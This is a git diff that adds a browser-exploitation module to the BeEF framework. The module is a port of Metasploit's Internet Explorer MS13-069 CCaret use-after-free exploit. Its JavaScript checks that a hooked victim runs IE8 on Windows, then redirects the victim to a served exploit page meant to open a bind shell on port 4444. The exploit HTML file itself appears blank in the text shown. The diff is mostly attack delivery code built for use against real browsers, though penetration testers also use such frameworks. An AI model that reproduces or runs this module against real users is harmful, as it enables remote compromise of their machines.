diff --git a/modules/exploits/local_host/ie_ms13_069_caret/command.js b/modules/exploits/local_host/ie_ms13_069_caret/command.js new file mode 100644 index 000000000..00287e1f7 --- /dev/null +++ b/modules/exploits/local_host/ie_ms13_069_caret/command.js @@ -0,0 +1,25 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + // check browser + if (beef.browser.isIE8() != 1) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer 8"); + return + } + + // check OS + if (beef.os.isWindows() != 1) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows"); + return + } + + // exploit + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444"); + window.location = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms13_069_caret.html'; + +}); diff --git a/modules/exploits/local_host/ie_ms13_069_caret/config.yaml b/modules/exploits/local_host/ie_ms13_069_caret/config.yaml new file mode 100644 index 000000000..d42b9da55 --- /dev/null +++ b/modules/exploits/local_host/ie_ms13_069_caret/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +### +# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms13_069_caret.rb' +# from the Metasploit Framework project. Written originally by corelanc0d3r (@corelanc0d3r) and sinn3r (@_sinn3r) +# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms13_069_caret.rb +### +beef: + module: + ie_ms13_069_caret: + enable: true + category: ["Exploits", "Local Host"] + name: "IE MS13-069 CCaret Use-After-Free" + description: "This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability occurs in how the browser handles the caret (text cursor) object.

This exploit has been ported from ms13_069_caret.rb from Metasploit, however it has limited target support and payloads.

Targets: IE 8 on WinXP SP3
Payloads: bind shell on port 4444

For more browser based Metasploit exploits and payloads refer to the Metasploit Integration for BeEF page on the wiki." + authors: ['corelanc0d3r (@corelanc0d3r)', 'sinn3r (@_sinn3r)'] + target: + user_notify: + IE: + min_ver: 8 + max_ver: 8 + not_working: + ALL: + os: ["ALL"] diff --git a/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html b/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html new file mode 100644 index 000000000..150522cdc --- /dev/null +++ b/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html @@ -0,0 +1,78 @@ + + + + + + + + diff --git a/modules/exploits/local_host/ie_ms13_069_caret/module.rb b/modules/exploits/local_host/ie_ms13_069_caret/module.rb new file mode 100644 index 000000000..a8ac99f78 --- /dev/null +++ b/modules/exploits/local_host/ie_ms13_069_caret/module.rb @@ -0,0 +1,22 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +### +# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms13_069_caret.rb' +# from the Metasploit Framework project. Written originally by corelanc0d3r (@corelanc0d3r) and sinn3r (@_sinn3r) +# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms13_069_caret.rb +### +class Ie_ms13_069_caret < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/ie_ms13_069_caret/ie_ms13_069_caret.html', '/ie_ms13_069_caret', 'html') + end + + def post_execute + save({'result' => @datastore['result']}) +# BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ie_ms13_069_caret.html') + end + +end